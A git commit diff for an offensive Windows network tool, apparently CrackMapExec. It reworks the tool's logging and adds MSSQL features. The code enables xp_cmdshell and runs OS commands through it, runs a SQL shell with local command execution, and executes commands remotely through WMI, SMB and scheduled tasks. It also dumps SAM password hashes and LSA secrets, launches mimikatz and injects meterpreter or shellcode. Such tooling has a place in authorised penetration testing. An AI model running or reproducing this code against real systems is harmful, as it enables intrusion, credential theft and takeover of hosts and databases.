- Logging has been overhauled for readability and parsing (resolves #47)

- Added flag to test creds against MSSQL DBs (resolves #66)
- Added flags to enable/disable xp_cmdshell on MSSQL DBs
- Added flag to execute commands through xp_cmdshell on MSSQL DBs
- Added flag to enumerate MSSQL DB instances
- Targets are now accepted with arguments instead of a comma
  seperated list (resolves #71)
main
byt3bl33d3r 2016-01-16 22:33:11 -07:00
parent 7aa67e388c
commit 5a1adba648
22 changed files with 632 additions and 309 deletions

View File

@ -8,10 +8,11 @@ class EXECUTOR:
"""Yes, I know this sounds like the pokemon... deal with it"""
def __init__(self, command, host, domain, noOutput, smbconnection, method):
def __init__(self, logger, command, host, domain, noOutput, smbconnection, method):
if method == 'wmi':
wmi_exec = WMIEXEC(command,
wmi_exec = WMIEXEC(logger,
command,
settings.args.user,
settings.args.passwd,
domain,
@ -23,7 +24,8 @@ class EXECUTOR:
wmi_exec.run(host, smbconnection)
elif method == 'smbexec':
smb_exec = SMBEXEC(command,
smb_exec = SMBEXEC(logger,
command,
'{}/SMB'.format(settings.args.port),
settings.args.user,
settings.args.passwd,
@ -37,7 +39,8 @@ class EXECUTOR:
smb_exec.run(host)
elif method == 'atexec':
atsvc_exec = TSCH_EXEC(command,
atsvc_exec = TSCH_EXEC(logger,
command,
settings.args.user,
settings.args.passwd,
domain,
@ -45,4 +48,4 @@ class EXECUTOR:
settings.args.aesKey,
settings.args.kerb,
noOutput)
atsvc_exec.play(host)
atsvc_exec.play(host)

View File

@ -1,5 +1,7 @@
from logger import *
from powershell import *
from impacket import tds
from scripts.mssqlclient import *
from impacket.nmb import NetBIOSError
from impacket.smbconnection import SMBConnection, SessionError
from impacket.dcerpc.v5.rpcrt import DCERPCException
@ -23,12 +25,50 @@ import socket
import settings
import traceback
import socket
import logging
def connect(host):
'''
My imagination flowed free when coming up with this name
This is where all the magic happens
'''
def mssql_greenlet(host, server_name, domain):
cme_logger = CMEAdapter(logging.getLogger('CME'), {'host': host,
'hostname': server_name,
'port': settings.args.mssql_port,
'service': 'MSSQL'})
try:
ms_sql = tds.MSSQL(host, int(settings.args.mssql_port), cme_logger)
ms_sql.connect()
except socket.error as e:
if settings.args.verbose: print_error(str(e))
return
if settings.args.mssql_instance:
instances = ms_sql.getInstances(5)
if len(instances) == 0:
cme_logger.info("No MSSQL Instances found")
else:
cme_logger.success("Enumerating MSSQL instances")
for i, instance in enumerate(instances):
cme_logger.results("Instance {}".format(i))
for key in instance.keys():
cme_logger.results(key + ":" + instance[key])
if settings.args.mssql is not None:
ms_sql = smart_login(host, domain, ms_sql, cme_logger)
sql_shell = SQLSHELL(ms_sql, cme_logger)
if settings.args.mssql != '':
sql_shell.onecmd(settings.args.mssql)
if settings.args.enable_xpcmdshell:
sql_shell.onecmd('enable_xp_cmdshell')
if settings.args.disable_xpcmdshell:
sql_shell.onecmd('disable_xp_cmdshell')
if settings.args.xp_cmd:
sql_shell.onecmd("xp_cmdshell {}".format(settings.args.xp_cmd))
def main_greenlet(host):
try:
@ -46,7 +86,16 @@ def connect(host):
if not domain:
domain = s_name
print_status(u"{}:{} is running {} (name:{}) (domain:{})".format(host, settings.args.port, smb.getServerOS(), s_name, domain))
cme_logger = CMEAdapter(logging.getLogger('CME'), {'host': host,
'hostname': s_name,
'port': settings.args.port,
'service': 'SMB'})
cme_logger.info("{} (name:{}) (domain:{})".format(smb.getServerOS(), s_name, domain))
if settings.args.mssql_instance or settings.args.mssql is not None:
mssql_greenlet(host, s_name, domain)
return
try:
'''
@ -62,12 +111,12 @@ def connect(host):
if (settings.args.user is not None and (settings.args.passwd is not None or settings.args.hash is not None)) or settings.args.combo_file:
smb = smart_login(host, smb, domain)
smb = smart_login(host, domain, smb, cme_logger)
#Get our IP from the socket
local_ip = smb.getSMBServer().get_socket().getsockname()[0]
if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload:
rfs = RemoteFileSystem(host, smb)
rfs = RemoteFileSystem(host, smb, cme_logger)
if settings.args.delete:
rfs.delete()
if settings.args.download:
@ -78,11 +127,12 @@ def connect(host):
rfs.list()
if settings.args.enum_shares:
shares = SHAREDUMP(smb)
shares = SHAREDUMP(smb, cme_logger)
shares.dump(host)
if settings.args.enum_users:
users = SAMRDump('{}/SMB'.format(settings.args.port),
users = SAMRDump(cme_logger,
'{}/SMB'.format(settings.args.port),
settings.args.user,
settings.args.passwd,
domain,
@ -92,8 +142,7 @@ def connect(host):
users.dump(host)
if settings.args.sam or settings.args.lsa or settings.args.ntds:
dumper = DumpSecrets(host,
settings.args.port,
dumper = DumpSecrets(cme_logger,
'logs/{}'.format(host),
smb,
settings.args.kerb)
@ -110,17 +159,19 @@ def connect(host):
dumper.cleanup()
if settings.args.pass_pol:
pass_pol = PassPolDump('{}/SMB'.format(settings.args.port),
pass_pol = PassPolDump(cme_logger,
'{}/SMB'.format(settings.args.port),
settings.args.user,
settings.args.passwd,
domain,
domain,
settings.args.hash,
settings.args.aesKey,
settings.args.kerb)
pass_pol.dump(host)
if settings.args.rid_brute:
lookup = LSALookupSid(settings.args.user,
lookup = LSALookupSid(cme_logger,
settings.args.user,
settings.args.passwd,
domain,
'{}/SMB'.format(settings.args.port),
@ -129,7 +180,8 @@ def connect(host):
lookup.dump(host)
if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers:
rpc_query = RPCQUERY(settings.args.user,
rpc_query = RPCQUERY(cme_logger,
settings.args.user,
settings.args.passwd,
domain,
settings.args.hash)
@ -142,12 +194,13 @@ def connect(host):
rpc_query.enum_lusers(host)
if settings.args.spider:
smb_spider = SMBSPIDER(host, smb)
smb_spider = SMBSPIDER(cme_logger, host, smb)
smb_spider.spider(settings.args.spider, settings.args.depth)
smb_spider.finish()
if settings.args.wmi_query:
wmi_query = WMIQUERY(settings.args.user,
wmi_query = WMIQUERY(cme_logger,
settings.args.user,
settings.args.passwd,
domain,
settings.args.hash,
@ -157,19 +210,19 @@ def connect(host):
wmi_query.run(settings.args.wmi_query, host, settings.args.namespace)
if settings.args.check_uac:
uac = UACdump(smb, settings.args.kerb)
uac = UACdump(cme_logger, smb, settings.args.kerb)
uac.run()
if settings.args.enable_wdigest:
wdigest = WdisgestEnable(smb, settings.args.kerb)
wdigest.enable()
if settings.args.disable_wdigest:
wdigest = WdisgestEnable(smb, settings.args.kerb)
wdigest.disable()
if settings.args.enable_wdigest or settings.args.disable_wdigest:
wdigest = WdisgestEnable(cme_logger, smb, settings.args.kerb)
if settings.args.enable_wdigest:
wdigest.enable()
elif settings.args.disable_wdigest:
wdigest.disable()
if settings.args.service:
service_control = SVCCTL(settings.args.user,
service_control = SVCCTL(cme_logger,
settings.args.user,
settings.args.passwd,
domain,
'{}/SMB'.format(settings.args.port),
@ -178,39 +231,39 @@ def connect(host):
service_control.run(host)
if settings.args.command:
EXECUTOR(settings.args.command, host, domain, settings.args.no_output, smb, settings.args.execm)
EXECUTOR(cme_logger, settings.args.command, host, domain, settings.args.no_output, smb, settings.args.execm)
if settings.args.pscommand:
EXECUTOR(ps_command(settings.args.pscommand), host, domain, settings.args.no_output, smb, settings.args.execm)
EXECUTOR(cme_logger, ps_command(settings.args.pscommand), host, domain, settings.args.no_output, smb, settings.args.execm)
if settings.args.mimikatz:
powah_command = PowerShell(settings.args.server, local_ip)
EXECUTOR(powah_command.mimikatz(), host, domain, True, smb, settings.args.execm)
EXECUTOR(cme_logger, powah_command.mimikatz(), host, domain, True, smb, settings.args.execm)
if settings.args.gpp_passwords:
powah_command = PowerShell(settings.args.server, local_ip)
EXECUTOR(powah_command.gpp_passwords(), host, domain, True, smb, settings.args.execm)
EXECUTOR(cme_logger, powah_command.gpp_passwords(), host, domain, True, smb, settings.args.execm)
if settings.args.mimikatz_cmd:
powah_command = PowerShell(settings.args.server, local_ip)
EXECUTOR(powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb, settings.args.execm)
EXECUTOR(cme_logger, powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb, settings.args.execm)
if settings.args.powerview:
#For some reason powerview functions only seem to work when using smbexec...
#I think we might have a mistery on our hands boys and girls!
powah_command = PowerShell(settings.args.server, local_ip)
EXECUTOR(powah_command.powerview(settings.args.powerview), host, domain, True, smb, 'smbexec')
EXECUTOR(cme_logger, powah_command.powerview(settings.args.powerview), host, domain, True, smb, 'smbexec')
if settings.args.inject:
powah_command = PowerShell(settings.args.server, local_ip)
if settings.args.inject.startswith('met_'):
EXECUTOR(powah_command.inject_meterpreter(), host, domain, True, smb, settings.args.execm)
EXECUTOR(cme_logger, powah_command.inject_meterpreter(), host, domain, True, smb, settings.args.execm)
if settings.args.inject == 'shellcode':
EXECUTOR(powah_command.inject_shellcode(), host, domain, True, smb, settings.args.execm)
EXECUTOR(cme_logger, powah_command.inject_shellcode(), host, domain, True, smb, settings.args.execm)
if settings.args.inject == 'dll' or settings.args.inject == 'exe':
EXECUTOR(powah_command.inject_exe_dll(), host, domain, True, smb, settings.args.execm)
EXECUTOR(cme_logger, powah_command.inject_exe_dll(), host, domain, True, smb, settings.args.execm)
try:
smb.logoff()
except:

View File

@ -20,6 +20,39 @@ def antiansi_emit(self, record):
logging.FileHandler.emit = antiansi_emit
class CMEAdapter(logging.LoggerAdapter):
def __init__(self, logger, extra, action=None):
self.logger = logger
self.extra = extra
self.action = action
def process(self, msg, kwargs):
return '{} {}:{} {} {}'.format(colored(self.extra['service'], 'blue', attrs=['bold']),
self.extra['host'],
self.extra['port'],
self.extra['hostname'],
msg), kwargs
def info(self, msg, *args, **kwargs):
msg, kwargs = self.process(colored("[*] ", 'blue', attrs=['bold']) + msg, kwargs)
self.logger.info(msg, *args, **kwargs)
def error(self, msg, *args, **kwargs):
msg, kwargs = self.process(colored("[-] ", 'red', attrs=['bold']) + msg, kwargs)
self.logger.info(msg, *args, **kwargs)
def success(self, msg, *args, **kwargs):
msg, kwargs = self.process(colored("[+] ", 'green', attrs=['bold']) + msg, kwargs)
self.logger.info(msg, *args, **kwargs)
def results(self, msg, *args, **kwargs):
msg, kwargs = self.process(colored(msg, 'yellow', attrs=['bold']), kwargs)
self.logger.info(msg, *args, **kwargs)
def logMessage(self, message):
self.results(message)
def setup_logger(target, level=logging.INFO):
formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%m-%d-%Y %H:%M:%S")
@ -36,32 +69,26 @@ def setup_logger(target, level=logging.INFO):
root_logger.addHandler(fileHandler)
root_logger.setLevel(level)
#A logger on crack? keeps getting better
crack_logger = logging.getLogger('crack')
crack_logger.propagate = False
crack_logger.addHandler(streamHandler)
crack_logger.addHandler(fileHandler)
crack_logger.setLevel(level)
cme_logger = logging.getLogger('CME')
cme_logger.propagate = False
cme_logger.addHandler(streamHandler)
cme_logger.addHandler(fileHandler)
cme_logger.setLevel(level)
def print_error(message):
clog = logging.getLogger('crack')
clog.info(colored("[-] ", 'red', attrs=['bold']) + message)
print colored("[-] ", 'red', attrs=['bold']) + message
def print_status(message):
clog = logging.getLogger('crack')
clog.info(colored("[*] ", 'blue', attrs=['bold']) + message)
def print_info(message):
print colored("[*] ", 'blue', attrs=['bold']) + message
def print_succ(message):
clog = logging.getLogger('crack')
clog.info(colored("[+] ", 'green', attrs=['bold']) + message)
def print_success(message):
print colored("[+] ", 'green', attrs=['bold']) + message
def print_att(message):
clog = logging.getLogger('crack')
clog.info(colored(message, 'yellow', attrs=['bold']))
def print_results(message):
print colored(message, 'yellow', attrs=['bold'])
def print_message(message):
clog = logging.getLogger('crack')
clog.info(message)
print message
def yellow(text):
return colored(text, 'yellow', attrs=['bold'])
@ -76,9 +103,5 @@ def red(text):
return colored(text, 'red', attrs=['bold'])
def shutdown(exit_code):
print_status("KTHXBYE")
print_info('KTHXBYE!')
sys.exit(int(exit_code))
def root_error():
print colored("[-] ", 'red', attrs=['bold']) + "I needz r00t!"
sys.exit(1)

View File

@ -2,7 +2,6 @@ import sys
import logging
import codecs
from core.logger import *
from impacket import version
from impacket.nt_errors import STATUS_MORE_ENTRIES
from impacket.dcerpc.v5 import transport, samr
@ -15,13 +14,14 @@ class PassPolDump:
'445/SMB': (r'ncacn_np:%s[\pipe\samr]', 445),
}
def __init__(self, protocols = None,
def __init__(self, logger, protocols = None,
username = '', password = '', domain = '', hashes = None, aesKey=None, doKerberos = False):
if not protocols:
self.__protocols = PassPolDump.KNOWN_PROTOCOLS.keys()
else:
self.__protocols = [protocols]
self.__logger = logger
self.__username = username
self.__password = password
self.__domain = domain
@ -63,6 +63,7 @@ class PassPolDump:
resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId'])
domainHandle = resp['DomainHandle']
self.__logger.success('Dumping password policy')
self.get_pass_pol(addr, rpctransport, dce, domainHandle)
def convert(self, low, high, no_zero):
@ -108,8 +109,8 @@ class PassPolDump:
pass_hst_len = resp['Buffer']['Password']['PasswordHistoryLength']
print_att('Minimum password length: {}'.format(min_pass_len))
print_att('Password history length: {}'.format(pass_hst_len))
self.__logger.results('Minimum password length: {}'.format(min_pass_len))
self.__logger.results('Password history length: {}'.format(pass_hst_len))
max_pass_age = self.convert(resp['Buffer']['Password']['MaxPasswordAge']['LowPart'],
resp['Buffer']['Password']['MaxPasswordAge']['HighPart'],
@ -119,16 +120,16 @@ class PassPolDump:
resp['Buffer']['Password']['MinPasswordAge']['HighPart'],
1)
print_att('Maximum password age: {}'.format(max_pass_age))
print_att('Minimum password age: {}'.format(min_pass_age))
self.__logger.results('Maximum password age: {}'.format(max_pass_age))
self.__logger.results('Minimum password age: {}'.format(min_pass_age))
resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation)
lock_threshold = int(resp['Buffer']['Lockout']['LockoutThreshold'])
print_att("Account lockout threshold: {}".format(lock_threshold))
self.__logger.results("Account lockout threshold: {}".format(lock_threshold))
lock_duration = None
if lock_threshold != 0: lock_duration = int(resp['Buffer']['Lockout']['LockoutDuration']) / -600000000
print_att("Account lockout duration: {}".format(lock_duration))
self.__logger.results("Account lockout duration: {}".format(lock_duration))

View File

@ -1,4 +1,3 @@
from logger import *
from time import strftime, localtime
from impacket.smb3structs import FILE_READ_DATA, FILE_WRITE_DATA
import settings
@ -44,23 +43,24 @@ class RemoteFile:
class RemoteFileSystem:
def __init__(self, host, smbconnection):
def __init__(self, host, smbconnection, logger):
self.__host = host
self.__smbconnection = smbconnection
self.__logger = logger
def download(self):
out = open(settings.args.download[1], 'wb')
self.__smbconnection.getFile(settings.args.share, settings.args.download[0], out.write)
print_succ("{}:{} Downloaded file".format(self.__host, settings.args.port))
self.__logger.success("Downloaded file")
def upload(self):
up = open(settings.args.upload[0] , 'rb')
self.__smbconnection.putFile(settings.args.share, settings.args.upload[1], up.read)
print_succ("{}:{} Uploaded file".format(self.__host, settings.args.port))
self.__logger.success("Uploaded file")
def delete(self):
self.__smbconnection.deleteFile(settings.args.share, settings.args.delete)
print_succ("{}:{} Deleted file".format(self.__host, settings.args.port))
self.__logger.success("Deleted file")
def list(self):
if settings.args.list == '.':
@ -75,9 +75,9 @@ class RemoteFileSystem:
elif path != '*':
path = settings.args.share + '/' + path[:-2]
print_succ("{}:{} Contents of {}:".format(self.__host, settings.args.port, path))
self.__logger.success("Contents of {}:".format(path))
for f in dir_list:
print_att(u"{}rw-rw-rw- {:>7} {} {}".format('d' if f.is_directory() > 0 else '-',
f.get_filesize(),
strftime('%Y-%m-%d %H:%M', localtime(f.get_mtime_epoch())),
f.get_longname()))
self.__logger.results(u"{}rw-rw-rw- {:>7} {} {}".format('d' if f.is_directory() > 0 else '-',
f.get_filesize(),
strftime('%Y-%m-%d %H:%M', localtime(f.get_mtime_epoch())),
f.get_longname()))

View File

@ -1,11 +1,11 @@
import logging
from logger import *
from impacket.dcerpc.v5 import transport, srvs, wkst
from impacket.dcerpc.v5.dtypes import NULL
import settings
class RPCQUERY():
def __init__(self, username, password, domain='', hashes=None):
def __init__(self, logger, username, password, domain='', hashes=None):
self.__logger = logger
self.__username = username
self.__password = password
self.__domain = domain
@ -42,12 +42,12 @@ class RPCQUERY():
resp = wkst.hNetrWkstaUserEnum(dce, 1)
lusers = resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']
print_succ("{}:{} Logged on users:".format(host, settings.args.port))
self.__logger.success("Enumerating logged on users")
for user in lusers:
print_att(u'{}\\{} {} {}'.format(user['wkui1_logon_domain'],
user['wkui1_username'],
user['wkui1_logon_server'],
user['wkui1_oth_domains']))
self.__logger.results(u'{}\\{} {} {}'.format(user['wkui1_logon_domain'],
user['wkui1_username'],
user['wkui1_logon_server'],
user['wkui1_oth_domains']))
def enum_sessions(self, host):
dce, rpctransport = self.connect(host, 'srvsvc')
@ -60,19 +60,19 @@ class RPCQUERY():
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, level)
sessions = resp['InfoStruct']['SessionInfo']['Level0']['Buffer']
print_succ("{}:{} Current active sessions:".format(host, settings.args.port))
self.__logger.success("Enumerating active sessions")
for session in sessions:
if level == 502:
if session['sesi502_cname'][:-1] != self.__local_ip:
print_att('\\\\{} {} [opens:{} time:{} idle:{}]'.format(session['sesi502_cname'],
session['sesi502_username'],
session['sesi502_num_opens'],
session['sesi502_time'],
session['sesi502_idle_time']))
self.__logger.results('\\\\{} {} [opens:{} time:{} idle:{}]'.format(session['sesi502_cname'],
session['sesi502_username'],
session['sesi502_num_opens'],
session['sesi502_time'],
session['sesi502_idle_time']))
elif level == 0:
if session['sesi0_cname'][:-1] != self.__local_ip:
print_att('\\\\{}'.format(session['sesi0_cname']))
self.__logger.results('\\\\{}'.format(session['sesi0_cname']))
def enum_disks(self, host):
dce, rpctransport = self.connect(host, 'srvsvc')
@ -81,8 +81,8 @@ class RPCQUERY():
except Exception:
resp = srvs.hNetrServerDiskEnum(dce, 0)
print_succ("{}:{} Available disks:".format(host, settings.args.port))
self.__logger.success("Enumerating disks")
for disk in resp['DiskInfoStruct']['Buffer']:
for dname in disk.fields.keys():
if disk[dname] != '\x00':
print_att(disk[dname])
self.__logger.results(disk[dname])

View File

@ -21,7 +21,6 @@ import argparse
import random
import logging
from core.logger import *
from gevent import sleep
from impacket import version
from impacket.dcerpc.v5 import tsch, transport
@ -30,7 +29,8 @@ from StringIO import StringIO
class TSCH_EXEC:
def __init__(self, command=None, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, noOutput=False):
def __init__(self, logger, command=None, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, noOutput=False):
self.__logger = logger
self.__username = username
self.__password = password
self.__domain = domain
@ -65,7 +65,7 @@ class TSCH_EXEC:
def output_callback(data):
buf = StringIO(data.strip()).readlines()
for line in buf:
print_att(line.strip())
self.__logger.results(line.strip())
dce = rpctransport.get_dce_rpc()
@ -159,7 +159,7 @@ class TSCH_EXEC:
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
peer = ':'.join(map(str, rpctransport.get_socket().getpeername()))
print_succ('{} Executed command via ATEXEC'.format(peer))
self.__logger.success('Executed command via ATEXEC')
if self.__noOutput is False:
smbConnection = rpctransport.get_smb_connection()

View File

@ -17,7 +17,6 @@ import sys
import logging
import codecs
from core.logger import *
from impacket import version
from impacket.dcerpc.v5 import transport, lsat, lsad
from impacket.dcerpc.v5.samr import SID_NAME_USE
@ -32,11 +31,12 @@ class LSALookupSid:
'135/TCP': (r'ncacn_ip_tcp:%s', 135),
}
def __init__(self, username, password, domain, protocols = None,
def __init__(self, logger, username, password, domain, protocols = None,
hashes = None, maxRid=4000):
if not protocols:
protocols = LSALookupSid.KNOWN_PROTOCOLS.keys()
self.__logger = logger
self.__username = username
self.__password = password
self.__protocols = [protocols]
@ -66,7 +66,7 @@ class LSALookupSid:
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
try:
print_succ("{}:{} Dumping users (rid:domain:user):".format(addr, protocol[:-4]))
self.__logger.success("Brute forcing SIDs (rid:domain:user)")
self.__bruteForce(rpctransport, self.__maxRid)
except Exception, e:
#import traceback
@ -124,7 +124,7 @@ class LSALookupSid:
for n, item in enumerate(resp['TranslatedNames']['Names']):
if item['Use'] != SID_NAME_USE.SidTypeUnknown:
print_att("%d: %s\\%s (%s)" % (soFar+n, resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name'], SID_NAME_USE.enumItems(item['Use']).name))
self.__logger.results("%d: %s\\%s (%s)" % (soFar+n, resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name'], SID_NAME_USE.enumItems(item['Use']).name))
soFar += SIMULTANEOUS
dce.disconnect()

122
core/scripts/mssqlclient.py Normal file
View File

@ -0,0 +1,122 @@
#!/usr/bin/python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: [MS-TDS] & [MC-SQLR] example.
#
# Author:
# Alberto Solino (beto@coresecurity.com/@agsolino)
#
# Reference for:
# Structure
#
import os
import cmd
from impacket import tds
from impacket.tds import SQLErrorException, TDS_LOGINACK_TOKEN, TDS_ERROR_TOKEN, TDS_ENVCHANGE_TOKEN, TDS_INFO_TOKEN, \
TDS_ENVCHANGE_VARCHAR, TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE
def printRepliesCME(self):
for keys in self.replies.keys():
for i, key in enumerate(self.replies[keys]):
if key['TokenType'] == TDS_ERROR_TOKEN:
error = "ERROR(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le'))
self.lastError = SQLErrorException("ERROR: Line %d: %s" % (key['LineNumber'], key['MsgText'].decode('utf-16le')))
self._MSSQL__rowsPrinter.error(error)
elif key['TokenType'] == TDS_INFO_TOKEN:
self._MSSQL__rowsPrinter.info("INFO(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le')))
elif key['TokenType'] == TDS_LOGINACK_TOKEN:
self._MSSQL__rowsPrinter.info("ACK: Result: %s - %s (%d%d %d%d) " % (key['Interface'], key['ProgName'].decode('utf-16le'), key['MajorVer'], key['MinorVer'], key['BuildNumHi'], key['BuildNumLow']))
elif key['TokenType'] == TDS_ENVCHANGE_TOKEN:
if key['Type'] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE):
record = TDS_ENVCHANGE_VARCHAR(key['Data'])
if record['OldValue'] == '':
record['OldValue'] = 'None'.encode('utf-16le')
elif record['NewValue'] == '':
record['NewValue'] = 'None'.encode('utf-16le')
if key['Type'] == TDS_ENVCHANGE_DATABASE:
_type = 'DATABASE'
elif key['Type'] == TDS_ENVCHANGE_LANGUAGE:
_type = 'LANGUAGE'
elif key['Type'] == TDS_ENVCHANGE_CHARSET:
_type = 'CHARSET'
elif key['Type'] == TDS_ENVCHANGE_PACKETSIZE:
_type = 'PACKETSIZE'
else:
_type = "%d" % key['Type']
self._MSSQL__rowsPrinter.info("ENVCHANGE(%s): Old Value: %s, New Value: %s" % (_type,record['OldValue'].decode('utf-16le'), record['NewValue'].decode('utf-16le')))
tds.MSSQL.printReplies = printRepliesCME
class SQLSHELL(cmd.Cmd):
def __init__(self, SQL, logger):
cmd.Cmd.__init__(self)
self.sql = SQL
self.logger = logger
self.prompt = 'SQL> '
self.intro = '[!] Press help for extra shell commands'
def do_help(self, line):
print """
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
enable_xp_cmdshell - you know what it means
disable_xp_cmdshell - you know what it means
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
! {cmd} - executes a local shell cmd
"""
def do_shell(self, s):
os.system(s)
def do_xp_cmdshell(self, s):
try:
self.sql.sql_query("exec master..xp_cmdshell '%s'" % s)
self.sql.printReplies()
self.sql.colMeta[0]['TypeData'] = 80*2
self.sql.printRows()
except:
pass
def do_lcd(self, s):
if s == '':
print os.getcwd()
else:
os.chdir(s)
def do_enable_xp_cmdshell(self, line):
try:
self.sql.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
self.sql.printReplies()
self.sql.printRows()
except:
pass
def do_disable_xp_cmdshell(self, line):
try:
self.sql.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;")
self.sql.printReplies()
self.sql.printRows()
except:
pass
def default(self, line):
try:
self.sql.sql_query(line)
self.sql.printReplies()
self.sql.printRows()
except:
pass
def emptyline(self):
pass
def do_exit(self, line):
return True

View File

@ -35,7 +35,7 @@ class SAMRDump:
}
def __init__(self, protocols = None,
def __init__(self, logger, protocols = None,
username = '', password = '', domain = '', hashes = None, aesKey=None, doKerberos = False):
if not protocols:
self.__protocols = SAMRDump.KNOWN_PROTOCOLS.keys()
@ -49,6 +49,7 @@ class SAMRDump:
self.__nthash = ''
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__logger = logger
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
if password is None:
@ -80,15 +81,15 @@ class SAMRDump:
# Display results.
print_succ('{}:{} Dumping users:'.format(addr, protocol[:-4]))
self.__logger.success('Dumping users')
for entry in entries:
(username, uid, user) = entry
base = "%s (%d)" % (username, uid)
print_att(u'{}/FullName: {}'.format(base, user['FullName']))
print_att(u'{}/UserComment: {}' .format(base, user['UserComment']))
print_att(u'{}/PrimaryGroupId: {}'.format(base, user['PrimaryGroupId']))
print_att(u'{}/BadPasswordCount: {}'.format(base, user['BadPasswordCount']))
print_att(u'{}/LogonCount: {}'.format(base, user['LogonCount']))
self.__logger.results(u'{}/FullName: {}'.format(base, user['FullName']))
self.__logger.results(u'{}/UserComment: {}' .format(base, user['UserComment']))
self.__logger.results(u'{}/PrimaryGroupId: {}'.format(base, user['PrimaryGroupId']))
self.__logger.results(u'{}/BadPasswordCount: {}'.format(base, user['BadPasswordCount']))
self.__logger.results(u'{}/LogonCount: {}'.format(base, user['LogonCount']))
if entries:
num = len(entries)

View File

@ -1,5 +1,5 @@
#!/usr/bin/python
# Copyright (c) 2003-2015 CORE Security Technologies
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
@ -47,7 +47,6 @@ from struct import unpack, pack
from collections import OrderedDict
from binascii import unhexlify, hexlify
from datetime import datetime
from gevent import sleep
import sys
import random
import hashlib
@ -58,7 +57,6 @@ import string
import codecs
import os
from core.logger import *
from impacket import version, winregistry, ntlm
from impacket.smbconnection import SMBConnection
from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi
@ -68,7 +66,7 @@ from impacket.structure import Structure
from impacket.nt_errors import STATUS_MORE_ENTRIES
from impacket.ese import ESENT_DB
from impacket.dcerpc.v5.dtypes import NULL
from gevent import sleep
from Crypto.Cipher import DES, ARC4, AES
from Crypto.Hash import HMAC, MD4
@ -785,6 +783,23 @@ class CryptoCommon:
key2 = key[3] + key[0] + key[1] + key[2] + key[3] + key[0] + key[1]
return self.transformKey(key1),self.transformKey(key2)
@staticmethod
def decryptAES(key, value, iv='\x00'*16):
plainText = ''
if iv != '\x00'*16:
aes256 = AES.new(key,AES.MODE_CBC, iv)
for index in range(0, len(value), 16):
if iv == '\x00'*16:
aes256 = AES.new(key,AES.MODE_CBC, iv)
cipherBuffer = value[index:index+16]
# Pad buffer to 16 bytes
if len(cipherBuffer) < 16:
cipherBuffer += '\x00' * (16-len(cipherBuffer))
plainText += aes256.decrypt(cipherBuffer)
return plainText
class OfflineRegistry:
def __init__(self, hiveFile = None, isRemote = False):
@ -834,13 +849,14 @@ class OfflineRegistry:
self.__registryHive.close()
class SAMHashes(OfflineRegistry):
def __init__(self, samFile, bootKey, isRemote = False):
def __init__(self, samFile, bootKey, logger, isRemote = False):
OfflineRegistry.__init__(self, samFile, isRemote)
self.__samFile = samFile
self.__hashedBootKey = ''
self.__bootKey = bootKey
self.__cryptoCommon = CryptoCommon()
self.__itemsFound = {}
self.__logger = logger
def MD5(self, data):
md5 = hashlib.new('md5')
@ -932,7 +948,7 @@ class SAMHashes(OfflineRegistry):
answer = "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash), hexlify(ntHash))
self.__itemsFound[rid] = answer
print_att(answer)
self.__logger.results(answer)
def export(self, fileName):
if len(self.__itemsFound) > 0:
@ -944,7 +960,7 @@ class SAMHashes(OfflineRegistry):
class LSASecrets(OfflineRegistry):
def __init__(self, securityFile, bootKey, remoteOps = None, isRemote = False):
def __init__(self, securityFile, bootKey, logger, remoteOps = None, isRemote = False):
OfflineRegistry.__init__(self,securityFile, isRemote)
self.__hashedBootKey = ''
self.__bootKey = bootKey
@ -957,6 +973,7 @@ class LSASecrets(OfflineRegistry):
self.__remoteOps = remoteOps
self.__cachedItems = []
self.__secretItems = []
self.__logger = logger
def MD5(self, data):
md5 = hashlib.new('md5')
@ -970,22 +987,6 @@ class LSASecrets(OfflineRegistry):
sha.update(value)
return sha.digest()
def __decryptAES(self, key, value, iv='\x00'*16):
plainText = ''
if iv != '\x00'*16:
aes256 = AES.new(key,AES.MODE_CBC, iv)
for index in range(0, len(value), 16):
if iv == '\x00'*16:
aes256 = AES.new(key,AES.MODE_CBC, iv)
cipherBuffer = value[index:index+16]
# Pad buffer to 16 bytes
if len(cipherBuffer) < 16:
cipherBuffer += '\x00' * (16-len(cipherBuffer))
plainText += aes256.decrypt(cipherBuffer)
return plainText
